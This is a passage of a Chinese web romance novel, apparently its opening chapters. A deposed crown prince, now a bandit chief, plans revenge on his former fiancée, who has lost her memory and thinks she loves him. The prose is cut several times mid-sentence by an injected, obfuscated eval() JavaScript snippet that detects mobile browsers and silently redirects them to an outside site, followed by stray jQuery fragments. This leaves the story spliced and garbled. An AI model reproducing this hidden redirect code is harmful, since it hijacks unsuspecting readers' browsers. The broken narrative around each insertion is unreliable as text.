“苏、汐、惜,苏大姑娘你好啊,我们终于山水有相逢了呢。” 五年前,苏家有女,赐婚东宫。 那一年苏汐惜十四岁,李祎十六,本打算再过一年,等她及笄就要嫁入东宫当太子妃,可就在那一年,容家垮了,东宫与外祖容家交往甚密,也遭圣人猜忌,被废除东宫位置,贬为庶人,立即被下放到龙骨塔做苦力。 那会儿,太子殿下只需要再多等上一些时日,等他的部下在南境把证据收集回来,就可以还他清白,恢复他身份了。 于是,那天他从诏狱出来,浑身是伤是血,一路血迹地走过来敲开她宁国公府的后门,与她商量,求她姑念二人曾经未婚夫妻的份上,只要她一句话,他就可以留在她府上当个下人,混一段时间等待他的部下来救。 因为一旦被押送进龙骨塔,那里羁押的都是重犯,守卫森严,就不是那么容易能逃出来了。 他得留在京都,才有为自己翻案的机会。 可她苏汐惜却以礼教和贵女的教条为由,拒绝让他一个曾经的未婚夫进她府里暂避。 她说这样做会让外头的人以为二人情缘未了,教人乱猜乱想,会毁了她名节和名声。 “孤承诺你,他日一定重回太子之位,让你保住太子妃位,倘若不能,孤也决不会拖累你,不管事情如何,下半辈子自当为你做牛当马、两肋插刀,行不行?” 太子李祎自幼身份尊崇,第一世家容氏也是捧着他的,就连入诏狱受严刑,他也从没有一句求饶,什么时候对人这么低声下气过? 可她苏汐惜心硬得很,看着他受刑多日滴水未进,口唇干裂,她为了避嫌,连偷偷给他送杯水都不肯,就用火把对着他,让他缩回撑在门缝的手。 “你再不松开手,我就放火烧你了!”苏汐惜绝情绝义道。 “苏汐惜...你竟这么狠心?”他呼吸不畅,用力揪住胸口,大口大口喘息着,眼睛死死瞪着她,“你...你忘记你五岁那年,闯祸撕毁了孤母后的遗像,是谁替你在孤父皇面前求情的了吗?” “你七岁那年... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大夫被他哭嚎吓得赶紧放下医匣来,要扒他裤子给他瞧,李祎镇静地抱臂在一旁道:“鬼叫什么,这茶叶都没泡开的茶,能烫得着你吗?” 他话一落,少年安静下来,挤眉溜眼笑开,从地上跳了起来,把大夫唬得一愣一愣的。 “老大真英明,什么也骗不了你。” “春和。” “我在!老大有什么吩咐呀?” “滚出去,吵。” 春和就这样被他家老大踹着屁股赶出屋,他生怕他老大会对屋里那位姑娘不利,刚才他在窗边时分明看见老大拿着火把要烧人的样子,他家老大脾气不好,该不会是山下那夫人得罪了他,他一时糊涂拿人家女儿出气吧? 所以他得找个理由留下来看着。 “老大!老大!那个...” 他扭头眼睛慌张地朝屋里乱瞟,好半晌功夫,眼睛一亮,突然指着榻上姑娘的方向道:“那、那个!刚才茶溅出来弄湿那姑娘衣裳了!老大你粗人一个不方便,我留下来给她换衣裳吧!” 没头没脑突然冒出那么一句,春和都没醒悟过来自己言语不妥,只见自己就被老大用一种要杀人的目光盯紧了。 “滚!” 3. 第3章 苏汐惜醒过来的时候,感觉衣裳是湿的,紧贴在身上的感觉很不舒服,黏糊糊的,上方还有一堆厚厚的被子,心口碎大石似的加盖在她身上,压得她喘不过气。 废好大功夫终于将身上厚重的被子推开,她先是重重地吸了口气,再呼出—— “快憋死啦!” 她揉揉胸口,坐起的时候发现头部很疼,伸手一摸,发现肿了好大一块,整个额头都用纱布包扎着。 “呜...我怎么伤得这样重了?会不会死啊?呜呜...” 头部的疼痛莫名让她委屈得眼泪哗啦啦掉,蜷缩在床上哭了一会儿,见没有人进来搭理自己,渐渐地,哭声歇了,开始下地来环顾周围的环境。 青砖墙,面前就是一架大大的紫竹屏风,绕出屏风,左边堆放着一些红木箱子,右边则是一排长长的摆放各种长柄武器的木架子。 “我...难道是位武艺高超,以收集武器为爱好的女侠吗?” 苏汐惜眨了眨漂亮的杏眸,这时半支开的木槅扇窗外,一群群武夫正举棍操练,她趴在窗前看了好半晌,顿时来了精神:“我原来是...一位座下弟子无数,盖世无双的大女侠哇...” 她神往地看着窗外一排排队列整齐严谨的队伍,双手忍不住托起两颊倚窗,“我还是一位纪律严明,御下有方,很有大局观的女侠、女将军呢...” 当窗外的武者执棍耍了一套极快极狠准的棍法时,苏汐惜看得眼睛都亮了起来,身子站正:“我...我教的棍法...好厉害啊!!我都崇拜我自己!” 说着,她眼睛扫过一旁兰锜架上的长棍,兴冲冲地跑了过去,兴致上头,也想当即耍一耍棍法。 可她挑中一根丈把高的木棍,却发现自己使尽九牛二虎之力也不能将其举起来,方才发现里头注了钢。 “这...这一定不是我平时常练的武器...”她脸蛋憋得红红,气喘吁吁,这时又盯准旁边一把小巧的长剑,高兴道:“我一定!一定是练剑的!” 剑她是能拿起来了,可还是相对有些重,她两手合力握剑,尚且有些勉强地将剑举起,手抖个不停,仿佛下一刻剑就要砸了自己脚了。 “我一定...一定能耍...” 话刚落,“咵”的一声,腰扭了,剑重重地“咣”一声砸下,激起地上尘灰扬起,在窗子照进来的光线投射下,像极了细小不自量力的蜉蝣之物,争先恐后腾出水面,又重归沉寂。 “怎么都这样重啊?我不是女侠吗?怎么都举不起来...”苏汐惜委坐在地揉着她那一掰就堪折的细腕,欲哭无泪,就在这时,她怀里一本鹅黄色带兰花印的手札本“啪”一声掉了出来。 手札上的名字已经水湿晕染了,前面也有一大片字模糊了不能读,从中间没化墨的部分开始看起,她终于了解了自己的一个大致情况。 原来,她叫阿惜,本是京城一富贵人家的女儿,有一桩门当户对且青梅竹马的婚约。 但是后来,这位与她有婚约的竹马因得罪了权贵全家入罪,竹马被流放,他来同自己退婚道别时,她毅然决定跟他一起私`奔。 然后,就到了这个山寨生活了。 依手札上的内容所述,这位祎郎生性孤傲,当初也只是因父母之命与她有婚约,对她是没有任何爱慕的,从小到大,一直都是小惜追逐他,用热情感化他。 直到他家获了罪,他也再没有理由维持与她的婚约,便主动去退了。 可她爱死了他,死缠烂打,多次以性命相胁,才叫他不得不带她走。 看完了这些,恰巧这时屋门开了,一个高大伟岸,穿一袭玄色衣袍的年轻男人跨长腿进来。 他姿态傲慢,双手抱臂,双腿走至她面前站定,居高临下地睨着她。 “醒了?” 这时候的苏汐惜全然察觉不出他语气里的危险气息,和即将到来的对她的报复。 她只是毫无机心、毫无防备地仰头望着他。 这确实是...长得极好的一位郎君啊。 她的脸猝不及防地就红了。 “你...你就是我...我的那位小哥哥啊?” 手札中她大多都以小哥哥、祎哥哥或者小祎称呼他,他全名叫什么她实在是不知晓,也想不起来。 李祎没听清她蚊蝇似的话,俯身皱眉道:“什么?” “我...我...”面对他脸的突然凑近,她只感觉心脏跳得厉害,脸上更热了,话也似乎说不利索,“我说...你就是,小惜惜花光八辈子力气来爱也爱不完的小哥哥?” 骤然听见这话,李祎先是愣了一下。 “在说什么玩意?吃错药了?” 说着,他就要往外走,找春和把昨夜的大夫领来,问问他开的是什么药。 苏汐惜以为他又像手札中记录的那样,觉得她情话说得不够,不是真的如她自己所想的那么喜欢他,又要找人来送她回家。 手札上写了,小祎哥哥为了不拖累她,但又实在找不到办法逼她回家,只能每天强迫她说够二十句情话,他知道她脸皮子薄,虽有胆量追逐,但在众人面前说出那样的话,还是会羞涩的,他是在以一种温柔的方式来拒绝她。 于是,她立马抱住他手臂,将他羁住,“祎哥哥,你别走,我要你跟小惜永远在一起,我...” 她脸蛋烧红,看着面前英俊的男子,忍住羞耻大胆道:“我是水滴,而你是我的汪洋大海,你若离开我半步,我转眼就干涸了。” “......” 李祎过来是打算等她醒来,跟她清算五年之仇的,他想象过她这高傲矜持的世族贵女如今沦入他这匪首手里会是什么样的表情。 一定是很精彩的,她一定会咬牙切齿瞪着他,警告他赶紧送她回去,以免玷`污她名声,或许,她会觉得自己如今这样,已经脏了,再无颜面回到苏家,会激动得一头往哪条梁柱上撞。 这时候,也不必他再做什么来报复,她自会遭受噬心痛苦的惩罚。 如果在这种时候,他再让她求死不能,压制她不让她寻死,在她耳边冷冷道,“苏汐惜,这是你欠我的,我要你好好留在这山寨上,等着看你苏汐惜的名声,怎么一点点地在旁人的言语中越传越臭,那些京中高贵的郎君们见不得女子贞洁受损,他们会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041508|178794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何议论你?” “到时候你苏家大姑娘玉洁冰清的名声恐怕就没有了,京都但凡有面子一点的郎君都不会要你,你若回去,他们那些恶心的人还会逼着你为你的贞洁去死,你不想死的,注定只能日复一日,年复一年地留在我这种大匪首的身边,当你的贼婆,这样听着,是不是很有意思?” 他连这些折辱她最狠的话都想好了,却没想到她竟然这样不按常理出牌。 此时他只觉一口怨气憋在心口,压不下吐不出,憋得难受。 “苏汐惜,你不要以为装糊涂就能把过往之事一笔勾销。” 他回过头说话的功夫,眼神瞄到自己小臂陷进她前面湿`漉软绵的软肉,臂肌上突起的青筋不受控地抽跳了下。 “滚一边去,别让老子说第二次。” 他脸沉得可怕。 可那姑娘仿佛一点也不怕他似的,还兀自低头傻傻地发笑,“果然跟写的一模一样,害羞的时候耳尖微微泛红,脸色阴沉,嘴里还会放狠话。” “什么?”他侧了侧眉。 “没说什么,”她声音放大了一些,笑容灿烂,“在说小哥哥你俊美得让人呼吸骤停,如果能日日夜夜都看着你,看一辈子也不会腻。” 面前又俊美又凶的男子沉默半晌。 “油腔滑调,不知羞耻。” · 景明扛着一箱新造好的镣铐铁链上山,见老大在空地那里盯着弟兄们练武,擦了擦汗,急匆匆跑过去。 “老大,你要的特别打造的镣铐,已经把金块融了加在镣铐内圈,这样把人长期锁着也不会伤到手腕,哦,对了,老大要的夹棍、虿盆、鞭、铁砖等刑具也做好了,铁笼子太大得改天多带个人扛上山...” 春和在旁一脸不赞许地看着弟弟。 他这个弟弟别的都好、都机灵,就是不分是非,老大不清醒要做坏事时,他第一个双手递刀,越血腥残暴的行为,他越积极、越兴奋。 “景明,你...” 不等春和出言制止,那边的李祎便负手淡声道:“现在不用了,拿去库房堆着吧。” 看来老大改变主意,不行暴戾之事了!春和心感慰藉地看向首领。 春和留意到,今日的老大穿得格外精神,再也不是一袭死气沉沉的黑的,虽然也是颜色较沉的靛蓝,但配一条浅色革带,真的显得人没往日凶了,变温和不少。 景明则肉眼可见地拉下唇角,眼神黯淡,“为什么呢?老大之前不是说要用来报复仇人的吗?这仇...报了吗?” 李祎抬头望向了远处的山峦,这芜山上崇山峻岭众多,处处都能让人产生一种会当凌绝顶的豪迈气概,“报仇雪恨自然重要,但人如若一直被困在过去的仇恨中,未免太可怜了些。” “老子又不是非得揪着仇不报不可,先放着看看再说吧。” 他话刚落,不远处的高石上坐着一个姑娘,笑声铃铃地朝着这边招手:“小哥哥,惜惜在这!” 李祎咳了一声,皱眉背转过来,用后背对着那边的姑娘,“她还是挺有眼光的,就是人烦了些,吵死了,春和,你去把人拽下来。” 4. 第4章 春和屁颠屁颠跑过去,看着山石上坐着的姑娘时,又抓腮挠耳起来:“嗯...那那个,惜姑娘你,能不能先下来啊?坐这石头上不安全。” 上回他嘴瓢说给人家姑娘换衣裳,结果被老大胖揍一顿后,他发现了老大和这位姑娘之间微妙的关系。 所以他可不敢随随便便去“碰”老大的女人。 “哦,不好意思啊,这位小哥哥,可我是因为看不见我的小祎哥哥,才坐这上面,我马上下来啊...” “你是谁都喊小哥哥吗?” 话音刚落,就见李祎往这边过来了。 苏汐惜又高兴起来,朝他挥手:“小祎哥哥!” “也不是啦,就是他们不是小祎哥哥你的手下弟子吗?都是自己人,所以我才会亲切点叫他小哥哥的,我也不知道他名字。”汐惜憨笑道。 “他叫春和,那边吊梢眼那个叫景明,是他弟弟,其他的人...你随便叫句壮士就行。” “哦...哦,好...”她忙不迭应着,双手扶着石头边缘准备下来。 “快些下来。”他没有耐心。 “在下了,在下了...”昨日挥剑闪了腰,如今从大岩石上下来显然有些困难。 春和正要把手递过去扶她,下一刻,她人就被他家老大伸手一捞,轻松将人捞了下来。 李祎抱着她,好整以暇地在等着她发作。 记得以前有一次她在宫宴中不小心踩了苔藓差些滑倒,他正好路过,就轻轻扶了她一下,还是隔着衣裳的,然后就被她躲`瘟`神似的避了几天。 “殿下贵为一国储君,理应懂礼知礼守礼,缘何如此唐突,害一个女子险些丢了名声,这是什么道理?” 那会他被气坏,“是,孤就不应该救你,让你摔死是不?” “臣女宁愿摔倒,也不要殿下扶,殿下可知名声对女子的重要?” 那一次她直面跟他吵了起来,二人闹得不可开交,后来谁也不理谁。 她不是最注重名声吗,如今他直接当众抱着她,他就不信她能忍得了。 可当李祎低头去看她,却发现底下的姑娘含羞带怯地,直接把头虚拢在他胸口。 “你!!” 他像看什么怪物似的瞪着她,一把松手让她在自己怀抱摔下来。 苏汐惜被他松手,身体骤然失重,“啊”一声摔下来,摔下前她双手下意识揪紧了他胸前衣物。 只听“撕拉——”一声响,靛蓝簇新的衣裳就被她撕下了胸`前的一大块,露出男人精瘦且壁垒分明的胸膛。 苏汐惜没忍住多看了两眼,羞答答道:“小祎哥哥你...好白呀。” · 李祎换回了平常穿的玄衣,抱臂坐在苏汐惜面前,面对面坐着。 “方才,摔疼没?”他声音淡漠。 苏汐惜见她的小哥哥如今都会主动关心她了,很高兴,正要开口说不疼,忽然想到什么,眼珠子一转,脱口道:“疼,要疼死了,不如小哥哥帮我揉...” “活该!” 话没说完就被骂了。 苏汐惜委屈地垂下脸。 “喂,问你,回答老子,你是苏汐惜吗?” 被人生硬地把头掰抬起,苏汐惜疼得泪水在眼眶里打转,忿忿地闭上眼睛不看他。 “喂!看我,回答。”对方动作越发粗鲁,他带有薄茧的虎口把她细嫩的下巴磨得都红了,他指腹还在用力捏她两颊。 “我...我只知道我叫惜惜,而你是我拼命爱着的小哥哥...”她眼睛一睁开,里头酝酿的泪水就止不住断线似的掉下,把李祎看得一愣,心脏莫名一紧。 “你...”他眉头紧皱,“你不要以为装神弄鬼,就能把过去的事情抹掉,别给老子耍花样,还说什么爱,以为老子会信你吗?” 姑娘眼泪默默掉个不停,“是爱呀,纸上写着呢。” “什么纸?你先别哭,好好说!” 他一凶,她眼泪又啪嗒啪嗒不断往外掉,最后还抽噎了。 “别哭!你...老子没骂你,哭什么?” 李祎显然慌了,他四下环顾,又低头看底下流泪不停的人,着急之下,只能再次把她的脸捧起来。 突然被人压着后脖把脸捧起,苏汐惜吓得暂时止了声,然后就看见一张绝美俊脸朝自己逼近。 李祎从前在俊男云集的京都,长相也是万里挑一的,倘若不是他性情凶残暴戾,也会是无数女子心目中的如意郎君。 苏汐惜心跳加速之下,忘记了哭泣,只知呆呆地望他。 “不许哭,再哭老子把你扔进虿盆喂蛇。”他嘴里说着最狠的话,手边却小心翼翼给她擦眼泪。 苏汐惜感受到他手指的温度,他的脸越发凑近,眼神谨慎而专心,仿佛她是什么容易被擦坏的易碎珍宝似的。 “若你实在难以面对过往那段经历,只要你如今诚心为自己过去的狠心悔改,我也不是不可以接受你的认错道歉和补偿,至于要怎样补偿,由我说了算,如何...” 他话没说完,只见姑娘红着脸轻轻将他替她擦泪的半截手指含`进了樱`唇。 姑娘柔软温暖微潮的唇包裹他指腹,他这回愣了好久好久,久到汐惜自己都意识到自己这样的行为不好,舔了舔唇把他的指头放出,他才拉回魂魄。 “你...” “我...” “对不起,我也不知道为何,看着你指尖沾着我的泪,我就想尝尝什么味道...” 她十分诚实认错道。 李祎很想说他不是要她这么认错,但话梗在喉咙就是吐不出来。 “你若真的不是故意,难道...你病了?” 这时他余光瞄到她头部的伤,突然福至心灵。 随后,春和又被叫去把大夫请过来。 大夫给苏汐惜把了脉,又仔细检查过头部的伤,问了苏汐惜几个问题: “姑娘可还记得自己姓甚名谁?乃何方人士?” “我叫阿惜,大家都叫我惜惜,嗯...是京城人。” “姓什么?” “姓...”她皱起眉,突然想起小哥哥喊她的名字,“哦,我姓苏,全名苏惜惜。” “那你可还记得自己怎么会在此地,此地又是何处呢?”大夫继续问。 “我...”她犹豫了一下,想到手札上的记录,自己是联合奴仆演戏假装自尽威胁小哥哥带自己走的,她不想暴露出来,但她的小哥哥似乎真的很生气很在意的样子,“我...确实是耍了一些手段... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041509|178794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你耍什么手段?”李祎追问。 “我...知道你被困在这里回不了京,我故意...故意找人来演戏,让你...带我走的。” 听到这里,李祎坐不住了,“你说那些山贼是你请来演戏的??” 按手札上所述,她的确买了新面孔的奴仆来扮演匪徒轻薄自己,然后让她有理由“破罐子破摔”,绝望到极致产生“轻生”念头。 “是...对不起,小哥哥。” 李祎确实有内应探出水帮同京中一豪贵的门下有私下交易,他以为是杀人掠货的腌臜勾当,却没想到是个局中局,而她母亲卢氏不是出了名的“活牌坊”吗?怎么会容许女儿...难不成她连母亲也瞒了... “你为何要这么做?” “因为...”她咬着唇痛泣,“因为我爱你呀...” 是了,她今日好像还没开始说情话,这是今日的第一句情话。 而向来对她脱口而出的情话无动于衷的小哥哥,今日似乎被她这句简单的情话震住了,久久平复不下来。 “你...撒谎,怎么可能...” 见他已经有些动摇,苏汐惜便打算乘胜追击:“有许多事难以用三言两语说清楚,我也有许多身不由己的事,我的家庭,我的父母...我从前含蓄不说,直到如今,我终于认清自己的感情,毅然决定了跟随你,就不打算回去了,不管小哥哥你怎么说,我都跟定你了!” 李祎低头看她,目光有些晦涩,两手握拳。 “你真的不走了?” “嗯,不走了,曾经沧海难为水,除却巫山不是云。” “不后悔?” “南风知我意,吹梦到西洲,既许一人以偏爱,愿尽余生之慷慨。” “不怕吃苦?” “玲珑骰子安红豆,入骨相思知不知,只有相思苦,最教人断肠。” “说人话!!” “小哥哥,既生惜何生祎?君不归孤何安?” 其实李祎听明白她的话了,三国时期有对亦友亦敌亦爱亦恨的顶级智囊军师,说下这句话,既生瑜何生亮,君不归孤何安。 是其中一位叫瑜的军师,棋逢敌手,十分仰慕这位亦敌亦友的对手,亮。二人在多次交手对战中产生了惺惺相惜之感,彼此欣赏,引为知己。 瑜一直希望亮能来到自己的阵营里,甚至为了他能来自己阵营,那么高傲的人,竟然甘愿让出自己官位,屈身其下,雌伏于他。 可亮一直不愿意违背自己最初的立场。 直到瑜临死,说下了这句君不归孤何安的千古遗言。 其实从前的苏汐惜和李祎,论才华和学识,在京都可算是一对棋逢敌手的对手。 有人曾言,可惜苏大姑娘是女儿身,倘若她是男儿,将会是太子殿下最大的阻力。 容家和苏家一向政见不同,当初皇帝就是看准了苏穆耿直老顽石般的性格,才会赐下这桩婚事,让苏家来钳制容家,但又不许二人彻底翻脸。 无奈最后容家还是败了,连他这个太子也因而遭牵连。 她这番君不归的话,便是直白炽烈地在表达自己对这份过往情谊挽留不住的莫大遗憾。 李祎心脏再一次止不住剧烈地砰跳起来。 5. 第5章 大夫给苏汐惜检查过后得出结论道:“苏姑娘后脑有些许淤血未清,是会有多忘、或者部分多忘的情况发生,但是,也有人在这种情况没出现多忘的情况,如果她记得全部,那就是没有出现多忘,如果只记得部分,那就是部分多忘,她现在看起来没有多忘,也有可能已经发生多忘,或者以后发生多忘,但是,也有可能一直不会多忘。” 听完大夫的长篇大论后,李祎才冷冷吐出几个字:“春和,送客。” 春和十分稀罕地看着他们老大,如果是平时,大夫胆敢对老大说出这种说了等于没说的废话,早就被老大唤人扔去喂狗了。 老大竟肯听他说完这么长一段唬弄的话,还如此有礼,实属天下奇迹。 “老大你...心情好像不错?”他试探道,“是...因为惜惜姑娘吗?” 李祎阴戚地刀了他一眼,“你很闲吗?今日喂狗了?” 春和大惊失色,双手高举过头呈求饶状:“我错了!错了,老大,不要拿我喂狗!” 说着连跑带逃。 苏汐惜回到自己屋中,翻开藏在怀里的手札本细细地翻看着。 她不能让小哥哥觉得她忘记了先前的一切就削弱了对他的爱,这样他随时会将她赶走。 只能在无人的时候多看看自己写的手札,多了解自己对小哥哥的感情了。 山腰平原连绵的树林绿荫,把好大一片山寨建筑都遮蔽起来,苏苏住的那间放置兵器武器的屋子就在阴暗处,午后清凉依旧,屋内只闻外头映着太阳的树叶,油光水亮的沙沙声。 里屋人儿看手札看得入神。 看了一会,不知是外头的春`光太盛,还是怎么的,她竟越看脸蛋烧得越红。 “这...这怎么能行啊?这也太...我的胆子也太大了吧?” 看完这些,她“啪”一声阖上手札,脸蛋血红,心跳砰砰。 恰在此时,屋外头有人敲着门,她定了定神,出去开门。 发现李祎站在门外时,她脸一下子爆红,手里拿着的鹅黄色手札顿时烫手似的没握住摔在地上,刚好她刚才看的那一页翻了出来,两行“菜花戏蝶吮花髓,恋蜜狂蜂隐蜜巢。粉`汗身中干又湿,云鬟枕上起犹作。”的艳诗露了出来。 苏惜汐佯装摔倒,一屁股坐住。 “小...小哥哥你怎么来了?”她张皇失措地把手伸进屁股底下摸走那本子,然后趁人不备赶紧塞回怀里。 李祎从她身旁走过,绕入屋内,“来给你换个房间,这里毕竟是个放置武器的兵器房,你一个姑娘住着不方便。” “没有呀,我觉得挺方便的,没有觉得不方便呀。” 苏汐惜见他终于心软开始关心自己,高兴道。 “我没说你不方便,我是说弟兄们来取武器的时候不方便,你一个大活人整日里待在阴气沉沉的兵器房,会吓到他们的。” 他目光似不经意地瞟了眼她怀里,“大白天的看什么淫`词`秽`句,别人看见了不得把你当想吸男人精`元的女妖?叫人怎么敢进来?” 他果然...看见了! 苏汐惜满脸通红。 见她低着头不敢说话,李祎便当自己猜中了。 “还真是人不可貌相,苏大姑娘满腹诗书的,竟然会看这种书?” 他把她说得无地自容,问题是...她自己也不知道呀,她怎么会写出那样的东西,并且胆大地对小哥哥有那种计划和想法呢? 可她能写出这个计划来,自然也有自己的道理。 仔细想想,小哥哥这么死犟冷硬一个人,如果光靠她说情话,不定说到下辈子,他也不会接受她。 但是,如果设法将他染`指了呢? 不知为何,想到这里她眼睛放明亮了,甚至有些跃跃欲试的冲动。 就算事后他还是不认她,至少她也得到过、品尝过了呀。按她所写的那些诗句描述,欢`爱之事看着就让人面红耳赤,催人奋进,渴望尝上一尝。 苏汐惜抬眼将李祎从头到脚扫了一下,更加觉得自己才是赚到的那一个。 而此时不知她想法的李祎,看着她期待又羞涩的眼神,莫名心里发毛,“喂,你怕不是真的被精怪附身了吧?我说怎么瞧你不对劲...” “小哥哥,你...吗?” 她脸蛋红得像熟透的苹果,光这么瞧着就让人忍不住想凑近尝上一口。 “你说什么?”他凑近了一点。 “我...我说...”她脸蛋越发红透,让人看着越发食指大动。 “......” “什么?” 她干脆踮起脚,双手小心揪着他领口,贴唇过去他耳边,她的声音软软的,柔柔的,温热微`潮的气息打在他耳`垂,一种奇异的,既舒服又难受的感觉就蔓延全身。 “我...我说,你会不会...行周`公之礼啊?” 听完,李祎人都傻了,第一反应是后退一步,结果她发梢缠上他腰间剑穗,羁得她往前扑去。 李祎下意识伸手抱住她,二人抱在一块,你看我我看你,随后大家的脸都不约而同红了。 靠得如此近,连她发间淡淡的兰草香都可闻。 不知是谁的心跳声,震耳欲聋。 “小...小哥哥你...” “闭嘴!不许再这么叫老子!” 看着面前气质不凡的土匪,连说一句听起来粗鲁的话都让人完全不觉粗鲁,反倒觉得优雅有气质、很有男子气概,苏汐惜心脏不受控制狂跳起来。 “那...那小祎哥哥...” “不许叫哥哥。” 她发现他偏过了头。 “你为什么不敢看我啊?小祎...” “都让你别叫!” “没叫哥哥,叫你小祎也不行吗?” “喂,你看我呀,小祎,祎郎,祎哥哥...” 苏汐惜发现她越叫他,他的耳垂就红上一分,便这样乐此不疲地换着花样叫了好几次。 直到最后李祎暴躁了,“起来!你起来!” “啊!” “你别动!我头发啊...” “你头发怎么...” “啊!你别拉啊...会断,疼...” 二人手忙脚乱,苏汐惜把头挨靠着他腹部的剑穗,试图解开那越缠越紧的死结,李祎便从靴筒抽出一把锋利的短匕,扬手—— “啊!不要——” 随着惜汐的惊呼声落,一条红殷殷系着一枚暖玉的剑穗便被割断了。 “可以了,快起来...” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041510|178794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知怎地,苏汐惜觉得他嗓子都哑了,像跣途在沙漠上走了许久,喉咙干涸的旅人。 是生气了吗? 苏汐惜只能从他身上爬起来,当她看见那条被他斩断的剑穗时,愣了一愣。 “小祎哥哥,这是...娘亲打给孩子随身携带祝百病无侵的罗缨结,这是你...” 她记得手札上有写到,小祎的母亲在他小时候就离开他了。 “对不起...”惜汐两手握住那条断了的剑穗,垂着脸像个闯祸的孩子,愧疚不已。 李祎走过来,长指灵活地三两下将她与剑穗缠绕的结解开,收好剑穗, 侧身冷冷道:“只是从小带着,习惯了而已,你不说老子也不知道这结如此讲究。” 说完他转身。 “不可能,你怎么可能不知道?”苏汐惜听他这么说完更愧疚了,一股酸涩涌上来,眼泪当即流了出来,“对不起...都是我的错...我不该...” 李祎背对着她,心虚纷乱。 其实这罗缨结不是第一次断了,从前也曾经断过。 三王兴兵那年,苏汐惜因为出城探望外祖家,回来时不慎和一些世家家眷一起被抓去当挟持的人质。 造反失败被驱逐出城的三王,用这些京中权贵家眷的性命,要挟皇帝放他生路,可皇帝不愿意放虎归山,便偷偷地派了个得力的心腹前往,意在与三王周旋的中途,找机会暗杀掉这些被挟持的人质,并将其锅甩给三王。 这样皇帝就能堂而皇之率兵将这造反的亲兄弟诛灭。 当时李祎获知此事后,不顾父皇降罪,连夜出城赶在他父皇派出的杀手抵达前将他们救下。 当时场面过于混乱,苏汐惜已经和兄长失散,同李祎两人在孤寂的山头孤男寡女过了一夜,直到被三王的人包围。 李祎没有办法,只能把贴身的罗缨结玉佩给苏汐惜,然后找机会引开敌人,让她逃跑出去找到他的部下前来营救。 可他等呀等,始终没能等到苏汐惜带人过来救他,直到他气力用尽即将被三王捕获,他的部下终于来救下他。 可他部下是因为闻听了风声,几经周折才找到他被困的地方前来救他的,苏汐惜根本就没有带同他的罗缨结去找人。 后来三王被俘,他立下功劳回到京中,质问她的时候,她却冷冷淡淡地说自己去找了,可是找不到人,然后还把交给她时好好的,但还回来时绳结已断裂的玉佩给他。 “带在身上修花不小心被剪子割坏了。” 听到这句回复,李祎当时真的很生气。 “孤为了你差点死在山上,而你竟然有闲情雅致在家修花?!” “你是怕同孤在山上独处的事情传开,有损你贵女形象,故意不救孤的是吧??” 那次李祎恨了她好久,后来见她愧疚得不敢见自己,处处躲避,就又自己把自己哄好了,说服自己她应该是有去找,只是确实没找到,她一个姑娘家又干不了什么,还能怎么样呢。 直至后来他浑身是伤敲响她家后门,恳求她收留自己一段时间,却被她狠心用火驱赶,他终于认清她本性。 “那你当年呢,当年你用剪子剪坏它时,也这般愧疚?还是说现在的你都是在装,其实来找我另有所图?” 李祎侧身睨她。 6. 第6章 李祎知道,当年父皇之所以把他入罪,除了忌讳容家的事外,还是把他这个成年的儿子当成贼来防。 怕不是已经知晓了他从龙骨塔逃跑,而苏家如今在朝中树大招风,必然遭到一如当年容家的下场,从她和卢氏连夜出城便可见端倪,定是苏家发生了些什么。 她这回...该不会是当家族的棋子来擒他,用以保苏家的筹码吧? 李祎盯着她的眼睛,想看她怎么说。 苏汐惜没想到自己从前竟然剪坏过小哥哥这么重要的东西,可手札上并没有提及此事。 想来自己从前定是粗枝大叶、做事草草率率,才会弄坏别人东西,惹人不快自己也没察觉吧。 难怪自己从小追逐小哥哥,那么长时间了还没追得上呢。 李祎以为能从她眼睛里看见一闪而过的慌乱和狡黠,没想到半点没看见,她先是眼睛里闪过仿佛才意识到自己前事的震惊,紧接着便是无限的愧疚和自责,甚至看见了她对自己的自厌。 “......你,不要以为会演就行了。” “对不起...惜惜错了。”苏汐惜突然垂着脸,眼泪大颗大颗地滴落,吓得李祎有些不知所措。 说话都不免有些气短了:“哼...错了?你苏汐惜何错之有啊,要怪就只能怪旁人不长眼睛,往你身旁凑,你只需要独自站在那高高的牌坊上,谁挨着你谁倒霉。” 